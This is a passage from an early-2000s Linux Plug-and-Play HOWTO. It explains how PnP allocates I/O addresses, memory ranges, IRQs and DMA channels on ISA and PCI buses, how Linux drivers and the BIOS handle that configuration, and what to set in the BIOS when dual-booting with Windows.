I haven't studied the code used by various Linux drivers to implement Plug-and-Play. Nor do I fully understand how PnP is configured by the BIOS (it depends on which BIOS) nor how Windows9x updates the ESCD. Thus this HOWTO is still incomplete and may be inaccurate (let me know where I'm wrong). In this HOWTO I've sometimes used ?? to indicate that I don't really know the answer.

1.3 New Versions of this HOWTO

New versions of the Plug-and-Play-HOWTO should appear every couple of months or so and will be available to browse and/or download at LDP mirror sites. For a list of mirror sites see: http://linuxdoc.org/mirrors.html. Various formats are available. If you only want to quickly check the date of the latest version look at: http://linuxdoc.org/HOWTO/Plug-and-Play-HOWTO.html. The version you are now reading is: v1.04, March 2002 .

1.4 New in Recent Versions

v1.04 March 2002 finding a device driver, PCI serial ports, alias example in modules.conf, PnP needed for linmodems v1.03 August 2001: error messages, boot-prompt parameters v1.02 July 2001: PCI config regs. v1.01 April 2001: less shortage today of bus-resources, clarity in sect. 2, Windows 2000 OK (even if "not a PnP OS" in CMOS) v1.01 April 2001: less shortage today of bus-resources, clarity in sect. 2, Windows 2000 OK (even if "not a PnP OS" in CMOS)

The version 1.0 (Nov. 2000) was long overdue and recognized that the kernel is doing more in helping device drivers set up PnP. Kernel 2.4 is significantly improved in this respect. There's still a lot of improvement needed in both this HOWTO and the way that Linux does PnP.

1.5 General Introduction. Do you need this HOWTO?

Plug-and-play (PnP) is a system which automatically detects PC devices such as disks, sound cards, ethernet cards, modems, etc. It also does some low-level configuring of them. To be detected by PnP, the device must be designed for PnP. Non-PnP devices (or PnP devices which have been correctly PnP-configured), can often be detected by non-PnP methods.

While the Linux kernel has no centralized plug-and-play system, it does provide programs which various device drivers can use to do their own plug-and-play. Many drivers take advantage of this and find your PnP devices OK. The BIOS hardware of your PC likely may also do some plug-and-play work. Thus if everything works OK PnP-wise, you can use your computer without needing to know anything about plug-and-play. But if some devices which are supported by Linux don't work (because they not discovered or configured correctly by PnP) then you may need to read some of this HOWTO. You'll learn not only about PnP but also something about how communication takes place inside the computer.

If you're having problems with a device, first check to see that you have the right driver for a device, and that the driver is being found and used. If the driver is a module, type "lsmod" (as the root user) to see it it's loaded (in use). If it's not a module then it should be built into the kernel. There should be a file somewhere that tells what drivers are built into the kernel: (such as: /boot/config-2.4-20 in Debian). Sometimes a device name (such as /dev/eth0) doesn't get a driver assigned to it unless the assignment is found in the file: /etc/modules.conf: For example, to assign the "tulip" driver to eth0 you add a line to this file:
alias eth0 tulip

This HOWTO doesn't cover the problem of finding and installing device drivers. Perhaps it should. One problem is that a certain brand of a card (or other physical device) may not say what kind of chips are used in it. The driver name is often the same as the chip name and not the brand name. One way to start to check on a driver is to see if it is discussed in the kernel documentation, in another HOWTO, or on the Internet. Warning: Such documentation may be out of date.

In this document I mention so many things that can go wrong that one who believes in Murphy's Law (If something can go wrong it will) may become quite alarmed. But for PnP for most people: If something can go wrong it usually doesn't. Remember that sometimes problems which seem to be PnP related are actually due to defective hardware or to hardware that doesn't fully conform to PnP specs.


Plug-and-Play-HOWTO : What PnP Should Do: Allocate "Bus-Resources"

 Next Previous Contents

2. What PnP Should Do: Allocate "Bus-Resources"

2.1 What is Plug-and-Play (PnP)?

If you don't understand this section, read the next section How a Computer Finds Devices (and conversely)

Oversimplified, Plug-and-Play automatically tells the software (device drivers) where to find various pieces of hardware (devices) such as modems, network cards, sound cards, etc. Plug-and-Play's task is to match up physical devices with the software (device drivers) that operates them and to establish channels of communication between each physical device and its driver. In order to achieve this, PnP allocates the following "bus-resources" to both drivers and hardware: I/O addresses, IRQs, DMA channels (ISA bus only), and memory regions. These 4 things are sometimes called 1st order resources. If you don't understand what these 4 bus-resources are, read the following subsections of this HOWTO: I/O Addresses, IRQs, DMA Channels, Memory Regions. An article in Linux Gazette about 3 of these bus-resources is Introduction to IRQs, DMAs and Base Addresses. Once these bus-resources have been assigned (and if the correct driver is installed), the "files" for such devices in the /dev directory are ready to use.

This PnP assignment of bus-resources is sometimes called "configuring" but it is only a low level type of configuring. The /etc directory has many configuration files. Most of their contents are not PnP configuring. Much of the configuring of hardware devices has nothing to do with PnP. For, example the initializing of a modem by an "init string" or setting it's speed is not PnP. Thus when talking about PnP, "configuring" means only a certain type of configuring. While other documentation (such a for MS Windows) simply calls bus-resources "resources", I have used the term "bus-resources" so as to distinguish it from the multitude of other kinds of resources.

2.2 How a Computer Finds Devices (and conversely)

A computer consists of a CPU/processor to do the computing and RAM memory to store programs and data (for fast access). In addition, there are a number of devices such as various kinds of disk-drives, a video card, a keyboard, network cards, modem cards, sound cards, the USB bus, serial and parallel ports, etc. There is also a power supply to provide electric energy, various buses on a motherboard to connect the devices to the CPU, and a case to put all this into.

In olden days most all devices had their own plug-in cards (printed circuit boards). Today, in addition to plug-in cards, many "devices" are small chips permanently mounted on the "motherboard". Furthermore, cards which plug into the motherboard may contain more than one device. Memory chips are also sometimes considered to be devices but are not plug-and-play in the sense used in this HOWTO.

For the computer system to work right, each device must be under the control of its "device driver". This is software which is a part of the operating system (perhaps loaded as a module) and runs on the CPU. Device drivers are associated with "special files" in the /dev directory although they are not really files. They have names such as hda3 (third partition on hard drive a), ttyS1 (the second serial port), eth0 (the first ethernet card), etc.

To make matters more complicated, the particular device driver selected, say for example eth0, will depend on the type of ethernet card you have. Thus eth0 can't just be assigned to any ethernet driver. It must be assigned to a certain driver that will work for the type of ethernet card you have installed. If the driver is a module, some of these assignments might be found in /etc/modules.conf (called "alias") while others may reside in an internal kernel table. For example, if you have an ethernet card that uses the "tulip" chip put "alias eth0 tulip" into /etc/modules.conf so that when your computer asks for eth0 it finds the tulip driver.

To control a device, the CPU (under the control of the device driver) sends commands (and data) to and reads info from the various devices. In order to do this each device driver must know the address of the device it controls. Knowing such an address is equivalent to setting up a communication channel, even though the physical "channel" is actually the data bus inside the PC which is shared with almost everything else.

This communication channel is actually a little more complex than described above. An "address" is actually a range of addresses so that sometimes the word "range" is used instead of "address". There could even be more that one range (with no overlapping) for a single device. Also, there is a reverse part of the channel (known as interrupts) which allows devices to send an urgent "help" request to their device driver.

2.3 Addresses

PCs have 3 address spaces: I/O, main memory (IO memory), and configuration (except that the old ISA bus lacks a "configuration" address space). All of these 3 types of addresses share the same bus inside the PC. But the voltage on certain dedicated wires on the PC's bus tells which "space" an address is in: I/O, main memory, (see Memory Ranges), or configuration. See Address Details for more details. Only two of these 3 address spaces are used for device I/O: I/0 and main memory.

2.4 I/O Addresses and Allocating Them

Devices were originally located in I/O address space but today they may use space in main memory. An I/0 address is sometimes just called "I/O", "IO", "i/o" or "io". The terms "I/O port" or "I/O range" are also used. Don't confuse these IO ports with "IO memory" located in main memory. There are two main steps to allocate the I/O addresses (or other bus-resources such as interrupts):

  1. Set the I/O address, etc. on the card (in one of its registers)
  2. Let its device driver know what this I/O address, etc. is

The two step process above is something like the two part problem of finding someone's house number on a street. Someone must install a number on the front of the house so that it may be found and then you must obtain (and write down) this house number. In computers the device hardware must first set the address it will use in a special register and then the device driver must obtain this address. Both of these must be done, either automatically by software or by entering the data manually into files. Problems occur when only one of them gets done (or is attempted).

For manual PnP configuration some people make the mistake of doing only one of these and then wonder why the computer can't find the device. For example, they may use "setserial" to assign an address to a serial port without realizing that this only tells the driver an address. It doesn't set the address in the serial port hardware itself. If the serial port hardware doesn't have the address you told setserial (or doesn't have any address set in it) then you're in trouble.

An obvious requirement is that before the device driver can use an address it must be first set on the physical device (such as a card). Since device drivers often start up soon after you start the computer, they sometimes try to access a card (to see if it's there, etc.) before the address has been set in the card by a PnP configuration program. Then you see an error message that they can't find the card even though it's there (but doesn't yet have an address).

What was said in the last few paragraphs regarding I/O addresses applies with equal force to other bus-resources: Memory Ranges, IRQs --Overview and DMA Channels. What these are will be explained in the next 3 sections.

2.5 Memory Ranges

Many devices are assigned address space in main memory. It's sometimes called "shared memory" or "memory-mapped IO" or "IO memory". This memory is physically located on the device. When discussing bus-resources it's often just called "memory". In addition to using such "memory", such a device might also use conventional IO address space.

When you plug in such a card, you are in effect also plugging in a memory module for main memory. A high address is selected for it by PnP so that it doesn't conflict with main memory chips. This memory can either be ROM (Read Only Memory) or shared memory. Shared memory is shared between the device and the CPU (running the device driver) just as IO address space is shared between the device and the CPU. This shared memory serves as a means of data "transfer" between the device and main memory. It's IO but it's not done in IO space. Both the card and the device driver need to know where it is.

ROM is different. It is likely a program (perhaps a device driver) which will be used with the device. It could be initialization code so that a device driver is still required. Hopefully, it will work with Linux and not just MS Windows ?? It may need to be shadowed which means that it is copied to your main memory chips in order to run faster. Once it's shadowed it's no longer "read only".

2.6 IRQs --Overview

After reading this you may read Interrupts --Details for some more details. The following is intentionally oversimplified: Besides the address, there is also an interrupt number to deal with (such as IRQ 5). It's called an IRQ (Interrupt ReQuest) number. We already mentioned above that the device driver must know the address of a card in order to be able to communicate with it. But what about communication in the opposite direction? Suppose the device needs to tell its device driver something immediately? For example, the device may have just received a lot of bytes destined for main memory and the device needs to tell its driver to fetch these bytes at once and transfer them from the device's nearly full buffer into main memory. Another example is to signal the driver that the device has finished sending out a bunch of bytes and is now waiting for some more bytes from the driver so it can send them too.

How should the device rapidly signal its driver? It may not be able to use the main data bus since it's likely already in use. Instead it puts a voltage on a dedicated interrupt wire (part of the bus) which is often reserved for that device alone. This voltage signal is called an Interrupt ReQuest (IRQ) or just an "interrupt" for short. There are the equivalent of 16 such wires in a PC and each wire leads (indirectly) to a certain device driver. Each wire has a unique IRQ (Interrupt ReQuest) number. The device must put its interrupt on the correct wire and the device driver must listen for the interrupt on the correct wire. Which wire the device sends help requests on is determined by the IRQ number stored in the device. This same IRQ number must be known to the device driver so that the device driver knows which IRQ line to listen on.

Once the device driver gets the interrupt from the device it must find out why the interrupt was issued and take appropriate action to service the interrupt. On the ISA bus each device usually needs its own unique IRQ number. For the PCI bus and other special cases the sharing of IRQs is allowed.

2.7 DMA Channels

DMA channels are only for the ISA bus. DMA stands for "Direct Memory Access". This is where a device is allowed to take over the main computer bus from the CPU and transfer bytes directly to main memory. Normally the CPU would make such a transfer in a two step process:

  1. reading from the I/O memory space of the device and putting these bytes into the CPU itself
  2. writing these bytes from the CPU to main memory
  1. With DMA it's usually a one step process of sending the bytes directly from the device to memory
The device must have such capabilities built into its hardware and thus not all devices can do DMA. While DMA is going on the CPU can't do too much since the main bus is being used by the DMA transfer.

The PCI bus doesn't really have any DMA but instead it has something even better: bus mastering. It works something like DMA and is sometimes called DMA (for example, hard disk drives that call themselves "UltraDMA"). It allows devices to temporarily become bus masters and to transfer bytes almost like the bus master was the CPU. It doesn't use any channel numbers since the organization of the PCI bus is such that the PCI hardware knows which device is currently the bus master and which device is requesting to become a bus master. Thus there is no allocation of DMA channels for the PCI bus.

When a device on the ISA bus wants to do DMA it issues a DMA-request using dedicated DMA request wires much like an interrupt request. DMA actually could have been handled by using interrupts but this would introduce some delays so it's faster to do it by having a special type of interrupt known as a DMA-request. Like interrupts, DMA-requests are numbered so as to identify which device is making the request. This number is called a DMA-channel. Since DMA transfers all use the main bus (and only one can run at a time) they all actually use the same channel but the "DMA channel" number serves to identify who is using the "channel". Hardware registers exist on the motherboard which store the current status of each "channel". Thus in order to issue a DMA-request, the device must know its DMA-channel number which must be stored in a special register on the physical device.

2.8 "Resources" for both Device and Driver

Thus device drivers must be "attached" in some way to the hardware they control. This is done by allocating bus-resources (I/O, Memory, IRQ's, DMA's) to both the physical device and the device driver software. For example, a serial port uses only 2 (out of 4 possible) resources: an IRQ and an I/O address. Both of these values must be supplied to the device driver and the physical device. The driver (and its device) is also given a name in the /dev directory (such as ttyS1). The address and IRQ number is stored by the physical device in configuration registers on its card (or in a chip on the motherboard). For the case of jumpers, it's the location of the jumpers themselves that store the bus-resource configuration in the device hardware (on the card, etc.). For the case of PnP, the configuration register data is usually lost when the PC is powered down (turned off) so that the bus-resource data must be supplied to each device anew each time the PC is powered on.

2.9 The Problem

The architecture of the PC provides only a limited number of IRQ's, DMA channels, I/O address, and memory regions. If there were only several devices and they all had standardized bus-resource (such as unique I/O addresses and IRQ numbers) there would be no problem of attaching device drivers to devices. Each device would have a fixed resources which would not conflict with any other device on your computer. No two devices would have the same addresses, there would be no IRQ conflicts, etc. Each driver would be programmed with the unique addresses, IRQ, etc. hard-coded into the program. Life would be simple.

But it's not. Not only are there so many different devices today that conflicts are frequent, but one sometimes needs to have more than one of the same type of device. For example, one may want to have a few different disk-drives, a few network cards, etc. For these reasons devices need to have some flexibility so that they can be set to whatever address, IRQ, etc. is needed to avoid conflicts. But some IRQ's and addresses are pretty standard such as the ones for the clock and keyboard. These don't need such flexibility.

Besides the problem of conflicting allocation of bus-resources, there is a problem of making a mistake in telling the device driver what the bus-resources are. For example, suppose that you enter IRQ 4 in a configuration file when the device is actually set at IRQ 5. This is another type of bus-resource allocation error.

The allocation of bus-resources, if done correctly, establishes channels of communication between physical hardware and their device drivers. For example, if a certain I/O address range (resource) is allocated to both a device driver and a piece of hardware, then this has established a one-way communication channel between them. The driver may send commands and info to the device. It's actually a little more than one-way since the driver may get information from the device by reading its registers. But the device can't initiate any communication this way. To initiate communication the device needs an IRQ so it can send interrupts to its driver. This creates a two-way communication channel where both the driver and the physical device can initiate communication.

2.10 PnP Finds Devices Plugged Into Serial Ports

External devices that connect to the serial port via a cable (such as external modems) can also be called Plug-and-Play. Since only the serial port itself needs bus-resources (an IRQ and I/O address) there are no bus-resources to allocate to such plug-in devices. In this case, PnP is used only to identify the modem (read it's model code number). This could be important if the modem is a software modem (linmodem) and requires a special driver. There is a special PnP specification for such external serial devices (something connected to the serial port).

Linux doesn't support this yet ?? For a hardware modem, the ordinary serial driver will work OK so there's little need for using the special serial PnP to find a driver. You still need to tell the communications program what port (such as /dev/ttyS1) the modem is on. With PnP you wouldn't need to even do this. With the advent of software modems that have Linux drivers (linmodems), it would be nice to have the appropriate driver install itself automatically via PnP.


Plug-and-Play-HOWTO : The Plug-and-Play (PnP) Solution

 Next Previous Contents

3. The Plug-and-Play (PnP) Solution

3.1 Introduction to PnP

The term Plug-and-Play (PnP) has various meanings. In the broad sense it is just auto-configuration where one just plugs in a device and it configures itself. In the sense used in this HOWTO, the configuration is only that of configuring PnP bus-resources and letting the device drivers know about it. In a narrower sense it is just setting bus-resources in the hardware devices. For the case of Linux, it is often just a driver detecting how the bus-resources have been set in its device by the BIOS, etc. "PnP' may just mean the PnP specifications which (among other things). There are long specs for PnP on the resource the ISA bus. The standard PCI specifications (which are not called "PnP") do the same for the PCI bus.

PnP matches up devices with their device drivers and specifies their communication channels. On the ISA bus before Plug-and-Play the bus-resources were formerly set in hardware devices by jumpers. Software drivers were assigned bus-resources by configuration files (or the like) or by probing the for the device at addresses where it's expected to reside. The PCI bus was PnP-like from the beginning but at first it wasn't called PnP. While the PCI bus specifications don't use the term PnP it supports in hardware what today is called PnP.

3.2 How It Works (simplified)

Here's an oversimplified view of how PnP should work. The PnP configuration program (in Linux only the BIOS does this) finds all PnP devices and asks each what bus-resources it needs. Then it checks what bus-resources (IRQs, etc.) it has to give away. Of course, if it has reserved bus-resources used by non-PnP (legacy) devices (if it knows about them) it doesn't give these away. Then it uses some criteria (not specified by PnP specifications) to give out the bus-resources so that there are no conflicts and so that all devices get what they need (if possible). It then tells each physical device what bus-resources are assigned to it and the devices set themselves up to use only the assigned bus-resources. Then the device drivers somehow find out what bus-resources their devices use and are thus able to communicate effectively with the devices they control.

For example, suppose a card needs one interrupt (IRQ number) and 1 MB of shared memory. The PnP program reads this request from the card. It then assigns the card IRQ5 and 1 MB of memory addresses space, starting at address 0xe9000000. It's not always this simple as the card may specify that it can only use certain IRQ numbers (ISA only) or that the 1 MB of memory must lie within a certain range of addresses. The details are different for the PCI and ISA buses with more complexity on the ISA bus.

There are some shortcuts that PnP software may use. One is to keep track of how it assigned bus-resources at the last configuration (when the computer was last used) and reuse this. Windows9x and PnP BIOSs do this but standard Linux doesn't. Windows9x stores this info in its "Registry" on the hard disk and a PnP BIOS stores it in non-volatile memory in your PC (known as ESCD; see The BIOS's ESCD Database).

While MS Windows (starting with Windows 95) is a PnP OS, Linux isn't. But PnP still often works in Linux due to the BIOS doing the configuring of bus-resources and the device drivers finding out (using programs supplied by the Linux kernel) what the BIOS has done. Drivers can also change bus-resource assignments using such programs (but they might take a bus-resource needed by another device). Some device drivers store the last configuration they used and use it the next time the computer is powered on.

If the device hardware remembered their previous configuration, then there wouldn't be any hardware to configure at the next boot-time, but they seem to forget their configuration when the power is turned off. Some devices contain a default configuration (but not necessarily the last one used). Thus a PnP configuration program needs to be run each time the PC is powered on. Also, if a new device has been added, then it too needs to be configured. Allocating bus-resources to this new device might involve taking some bus-resources away from an existing device and assigning the existing device alternative bus-resources that it can use instead. At present, Linux can't do this.

3.3 Starting Up the PC

When the PC is first turned on the BIOS chip runs its program to get the computer started (the first step is to check out the hardware). If the operating system is stored on the hard-drive (as it normally is) then the BIOS must know about the hard-drive. If the hard-drive is PnP then the BIOS may use PnP methods to find it. Also, in order to permit the user to manually configure the BIOS's CMOS and respond to error messages when the computer starts up, a screen (video card) and keyboard are also required. Thus the BIOS must always PnP-configure these devices on its own.

Once the BIOS has identified the hard-drive, the video card, and the keyboard it is ready to start booting (loading the operating system into memory from the hard-disk). If you've told the BIOS that you have a PnP operating system (PnP OS), it should start booting the PC as above and let the operating system finish the PnP configuring. Otherwise, a PnP-BIOS will (prior to booting) likely try to do the rest of the PnP configuring of devices (but not informing their drivers). This is what usually happens when running Linux.

3.4 Buses

ISA is the old bus of the old IBM PCs while PCI is a newer and faster bus from Intel. The PCI bus was designed for what is today called PnP. It makes it easy (as compared to the ISA bus) to find out how PnP bus-resources have been assigned to hardware devices. To see what has happened use the commands lspci or scanpci (Xwindows) and/or look at /proc/pci or /proc/bus/pci. The boot-up messages on your display are useful (use shift-PageUp to back up thru them). See Boot-time Messages

For the ISA bus there was a real problem with implementing PnP since no one had PnP in mind when the ISA bus was designed and there are almost no I/O addresses available for PnP to use for sending configuration info to physical device. As a result, the way PnP was shoehorned onto the ISA bus is very complicated. Whole books have been written about it. See PnP Book. Among other things, it requires that each PnP device be assigned a temporary "handle" by the PnP program so that one may address it for PnP configuring. Assigning these "handles" is call "isolation". See ISA Isolation for the complex details.

Eventually, the ISA bus should become extinct. When it does, PnP will be easier since it will be easy to find out how the BIOS has configured the hardware. There will still be the need to match up device drivers with devices and also a need to configure devices that are added when the PC is up and running. These needs would be better satisfied if Linux was a PnP operating system.

3.5 How Linux Does PnP

Linux has had a serious problem dealing with PnP and still has a problem but it's not as severe as it once was. Linux still is not really a PnP operating system and seems to mainly rely on and device drivers and the PnP BIOS to configure bus-resources for devices. But the kernel provides help for the drivers in the form of PnP programs they may call on. In many cases the device driver does all the needed configuring. In other cases the BIOS may configure and then the device driver may find out how the BIOS has configured it. The kernel provides the drivers with some functions (program code) that the drivers may use to find out if their device exists, how it's been configured, and functions to modify the configuration. Kernel 2.2 could do this only for the PCI bus but Kernel 2.4 has this feature for both the ISA and PCI buses (provided that the PNP options have been selected when compiling the kernel). This by no means guarantees that all drivers will fully and correctly use these features.

In addition, the kernel helps avoid resource conflicts by not allowing two devices to use the same bus-resources at the same time. Originally this was only for IRQs, and DMAs but now it's for address resources as well.

Prior to Kernel 2.4, the standalone program: isapnp was often run to configure and/or get info from PnP devices on the ISA bus. isapnp is still needed for cases where the device driver is not fully PnP for the ISA bus.. There was at least one attempt to make Linux a true PnP operating system. See http://www.astarte.free-online.co.uk. But it never was put into the kernel.

To see what help the kernel may provide to device drivers see the kernel documentation. This documentation (if you have it) is a directory /usr/.../.../Documentation where one of the ... contains the word "kernel". Use the "locate" command to find it. In this documentation directory see pci.txt ("How to Write Linux PCI Drivers") and the file: /usr/include/linux/pci.h. Unless you are a driver guru and know C Programming, these files are written so tersely that they will not actually teach you how to write a driver. But it will give you some idea of what PnP type functions are available for drivers to use. For the ISA bus see isapnp.txt and possibly (for kernel 2.4) /usr/include/linux/isapnp.h.

When the PC starts up you may note from the messages on the screen that some Linux device drivers often find their hardware devices (and the bus-resources the BIOS has assigned them). But there are a number of things that a real PnP operating system could handle better:

  • A Allocate bus-resources when they are in short supply
  • Deal with more than one driver for a physical device
  • Find a driver for a detected device (instead of making drivers do the searching)
  • Save a lot of work for the programmers of device drivers

The "shortage of bus-resources" problem is becoming less of a problem for two reasons: One reason is that the PCI bus is replacing the ISA bus. Under PCI there is no shortage of IRQs since IRQs may be shared (even though sharing is less efficient). Also, PCI doesn't use DMA resources (although it does the equivalent of DMA without needing such resources).

The second reason is that more and more physical devices are using main memory addresses instead of IO address space. On 32-bit PCs there is 4GB of main memory address space and much of this bus-resource is available for device IO (unless you had 4GB of main memory installed). Compare this to the IO address space which is limited to 64KB. So the memory space for device IO is not (yet ?) in short supply.


Plug-and-Play-HOWTO : Setting up a PnP BIOS

 Next Previous Contents

4. Setting up a PnP BIOS

When the computer is first turned on, the BIOS runs before the operating system is loaded. Modern BIOSs are PnP and can configure some or all of the PnP devices. Here are some of the choices which may exist in your BIOS's CMOS menu:

  • Do you have a PnP operating system?
  • How are bus-resources to be controlled?
  • Reset the configuration?

4.1 Do you have a PnP operating system?

In any case the PnP BIOS will PnP-configure the hard-drive, video card, and keyboard to make the system bootable. If you said you had a PnP OS it will leave it up to the operating system (or device drivers) to finish the configuration job. If you said no PnP OS then the BIOS should configure everything. If you only run Linux on your PC, you should probably tell it truthfully that you don't have a PnP operating system If you also run MS Windows on your PC and said it was a PnP OS when you installed Windows, then you might try saying that you have a PnP OS to keep Windows 95/98 happy (but it might cause problems for Linux. For Windows 2000 it's claimed that Windows worked OK even if you say you don't have a PnP OS. In this case Windows 2000 will report finding new hardware (even though it already knew about the hardware but didn't know how the BIOS Pnp-configured it).

If you say you have a PnP OS then you rely on the Linux device drivers and possibly the program isapnp to take care of the bus-resource configuring. This often works OK but sometimes doesn't. Fibbing to Linux this way has sometimes actually fixed problems. This could be because the BIOS didn't do it's job right but Linux alone did.

If you tell the BIOS you don't have a PnP OS, then the BIOS will do the configuring itself. Unless you have added new PnP devices, it should use the configuration which it has stored in its non-volatile memory (ESCD). See The BIOS's ESCD Database. If the last session on your computer was with Linux, then there should be no change in configuration. See BIOS Configures PnP. But if the last session was with Windows9x (which is PnP) then Windows could have modified the ESCD. It supposedly does this only if you "force" a configuration or install a legacy device. See Using Windows to set ESCD. Device drivers that do configuring may modify what the BIOS has done. So will the isapnp or PCI Utilities programs.

Interoperability with Windows

If you are running both Linux and Windows on the same PC, how do you answer the BIOS's question: Do you have a PnP OS? Normally (and truthfully) you would say no for Linux and yes for Windows. If you're truthful, everything should work OK. But it's a lot of bother to have to set up the BIOS's CMOS menu manually each time you want to switch OSs. To fix this you need to fib about either Linux or Windows. If you fib there may be problems. But there are ways to solve these problems.

If you intend on fibbing, should you tell the truth about Windows or Linux? This depends on how good your Linux or Windows is about configuring itself if you fib about it. Both Windows 2000 and Linux seem to be getting better about coping with such fibs.

Fibbing to Linux

If you say that you have a PnP OS, then Linux may work OK if all the drivers and isapnp (if you use it) are able to configure OK. Perhaps updating of the Linux OS and/or drivers will help.

Fibbing to Windows9x

Another solution is to set the CMOS for no PnP OS, including when you start Windows. Now you are fibbing to Windows and since Windows is seemingly much more sophisticated in handling PnP. One would expect Windows9x to be able to cope with with hardware that has been fully configured by the BIOS but it can't. But it's reported that Windows 2000 can cope with this. One might expect that even if Windows9x didn't realize that the hardware was already configured, it would set the configuration of the physical devices per it's registry and then then everything would work OK.

But it doesn't seem to happen this way. It seems that Windows9x may just tell its device drivers what has been stored in the Windows' Registry. But the actual hardware configuration (done by the BIOS) is what was stored in the ESCD and may not be the same as the Registry => trouble. So for Windows to work OK you need to get the Registry to contain the bus-resource configuration which the BIOS creates from the ESCD.

One way to try to get the Registry and the ESCD the same is to install (or reinstall) Windows when the BIOS is set for "not a PnP OS". This should present Windows with hardware configured by the BIOS. If this configuration is without conflicts, Windows will hopefully leave it alone and save it in it's Registry. Then the ESCD and the registry are in sync.

Another method is to remove devices that are causing problems in Windows by clicking on "remove" in the Device Manager. Then reboot with "Not a PnP OS" (set it in the CMOS as you start to boot). Windows will then reinstall the devices, hopefully using the bus-resource settings configured by the BIOS. Be warned that Windows will likely ask you to insert the Window installation CD since it sometimes can't find the driver files (and the like) even though they are still there. A workaround for this is to select "skip file" and continue.

As a test I "removed" a NIC card which used a Novell compatible driver. Upon rebooting, Windows reinstalled it with Microsoft Networking instead of Novell. This meant that the Novell Client needed to be reinstalled --a lot of unnecessary work.

Fibbing to Windows 2000

If you have Windows 2000, it's claimed that fibbing to it will work out OK (even if you said it was a PnP-OS when you first installed Windows 2000). When you change to "not a PnP-OS", Windows 2000 is reported to automatically PnP-reconfigure it's devices and tell you that it's finding new hardware and installing new devices. What it really means is that it's finding hardware which is already configured by the BIOS whereas before it found hardware that wasn't configured by the BIOS. Perhaps it considers the hardware to be "new" since Windows 2000 may be finding it at a different address/irq (as set by the BIOS).

4.2 How are bus-resources to be controlled?

This may involve just deciding how to allocate IRQ and DMA bus-resources. If set to "auto", the BIOS will do the allocation. If set to manual, you manually reserve some IRQ's for use on "legacy" (non-pnp) ISA cards. The BIOS may or may not otherwise know about such legacy cards. The BIOS will only know about these legacy cards if you ran ICU (or the like) under Windows to tell the BIOS about them. If the BIOS knows about them, then try using "auto". If it doesn't know about them, then manually reserve the IRQ's needed for the legacy ISA cards and let the rest be for the BIOS PnP to allocate.

4.3 Reset the configuration?

This will erase the BIOSs ESCD data-base of how your PnP devices should be configured as well as the list of how legacy (non-PnP) devices are configured. Never do this unless you are convinced that this data-base is wrong and needs to be remade. It was stated somewhere that you should do this only if you can't get your computer to boot. If the BIOS loses the data on legacy devices, then you'll need to run ICA again under DOS/Windows to reestablish this data.


Plug-and-Play-HOWTO : How to Deal with PnP Cards

 Next Previous Contents

5. How to Deal with PnP Cards

5.1 Introduction to Dealing with PnP Cards

Today most all new internal boards (cards) are Plug-and-Play (PnP). There are 5 different methods listed below to cope with PnP (but some may not be feasible in your situation). If the device driver configures it, then you don't need to do anything. If the BIOS configures it, you hope that the driver can find out what the BIOS did (you may need to tell it this in a configuration file or the like).

  • Device Driver Configures
  • BIOS Configures PnP (For the PCI bus you only need a PCI BIOS, otherwise you need a PnP BIOS)
  • Disable PnP by jumpers or DOS/Windows software (but many cards can't do this)
  • Isapnp is a program you can always use to configure PnP devices on the ISA bus only
  • PCI Utilities is for configuring the PCI bus but the device driver should handle it
  • Windows Configures and then you boot Linux from within Windows/DOS. Use as a last resort

Any of the above will set the bus-resources in the hardware but only the first one tells the driver what has been done. How the driver gets informed depends on the driver. You may need to do something to inform it. See Tell the Driver the Configuration

5.2 Device Driver Configures

Many device drivers (with the help of code provided by the kernel) will use PnP methods to set the bus-resources in the hardware but only for the device that they control. Since the driver has done the configuring, it obviously knows the configuration and there is no need for you to tell it this info. This is obviously the easiest way to do it since you don't have to do anything if the driver does it all.

For PCI devices, most drivers will configure PnP but for ISA devices it's problematical. This is because PCI has always been inherently PnP even though PnP for PCI was called "PCI Configuration" (and still is). For ISA, the kernel provided no functions for PnP configuring until version 2.4. So if you have a late version of both the kernel and the driver then the driver is more likely to configure PnP (bus-resources). But if you have older versions (or if the driver maintainer didn't add PnP to it) then the driver will likely not configure PnP.

Unfortunately, a driver may grab bus-resources that are needed by other devices (but not yet allocated to them by the kernel). Thus a true PnP Linux kernel would be better where the kernel did the allocation after all requests were in. See How Linux Does PnP.

5.3 BIOS Configures PnP

Intro to Using the BIOS to Configure PnP

If you have a PnP BIOS, it can configure the hardware. This means that your BIOS reads the resource requirements of all devices and configures them (allocates bus-resources to them). It is a substitute for a PnP OS except that the BIOS doesn't match up the drivers with their devices nor tell the drivers how it has done the configuring. It should normally use the configuration it has stored in its non-volatile memory (ESCD). If it finds a new device or if there's a conflict, the BIOS should make the necessary changes to the configuration and may not use the same configuration as was in the ESCD. In this case it should update the ESCD to reflect the new situation.

Your BIOS must support such configuring and there have been cases where it doesn't do it correctly or completely. An advantage of using the BIOS is that it's simple since in most cases there is nothing to set up (except to tell the BIOS's CMOS menu it's not a PnP OS). While many device drivers will be able to automatically detect what the BIOS has done, in some cases you may need to determine it (not always easy). See What Is My Current Configuration? Another possible advantage is that the BIOS does its work before Linux starts so that all the bus-resources are ready to be used (and found) by the device drivers that start up later.

According to MS it's only optional (not required) that a PnP BIOS be able to PnP-configure the devices (without help from MS Windows). But it seems that most of the ones made after 1996 ?? or so can do it. We should send them thank-you notes if they do it right. They configure both the PCI and ISA buses, but it has been claimed that some older BIOSs can only do the PCI. To try to find out more about your BIOS, look on the Web. Please don't ask me as I don't have data on this. The details of the BIOS that you would like to know about may be hard to find (or not available). Some BIOSs may have minimal PnP capabilities and seemingly expect the operating system to do it right. If this happens you'll either have to find another method or try to set up the ESCD database if the BIOS has one. See the next section.

The BIOS's ESCD Database

The BIOS maintains a non-volatile database containing a PnP-configuration that it will try to use. It's called the ESCD (Extended System Configuration Data). Again, the provision of ESCD is optional but most PnP-BIOSs have it. The ESCD not only stores the resource-configuration of PnP devices but also stores configuration information of non-PnP devices (and marks them as such) so as to avoid conflicts. The ESCD data is usually saved on a chip and remains intact when the power is off, but sometimes it's kept on a hard-drive??

The ESCD is intended to hold the last used configuration, but if you use a program such as Linux's isapnp or pci utilities (which doesn't update the ESCD) then the ESCD will not know about this and will not save this configuration in the ESCD. A good PnP OS might update the ESCD so you can use it later on for a non-PnP OS (like standard Linux). MS Windows does this only in special cases. See Using Windows to set ESCD.

To use what's set in ESCD be sure you've set "Not a PnP OS" or the like in the BIOS's CMOS. Then each time the BIOS starts up (before the Linux OS is loaded) it should configure things this way. If the BIOS detects a new PnP card which is not in the ESCD, then it must allocate bus-resources to the card and update the ESCD. It may even have to change the bus-resources assigned to existing PnP cards and modify the ESCD accordingly.

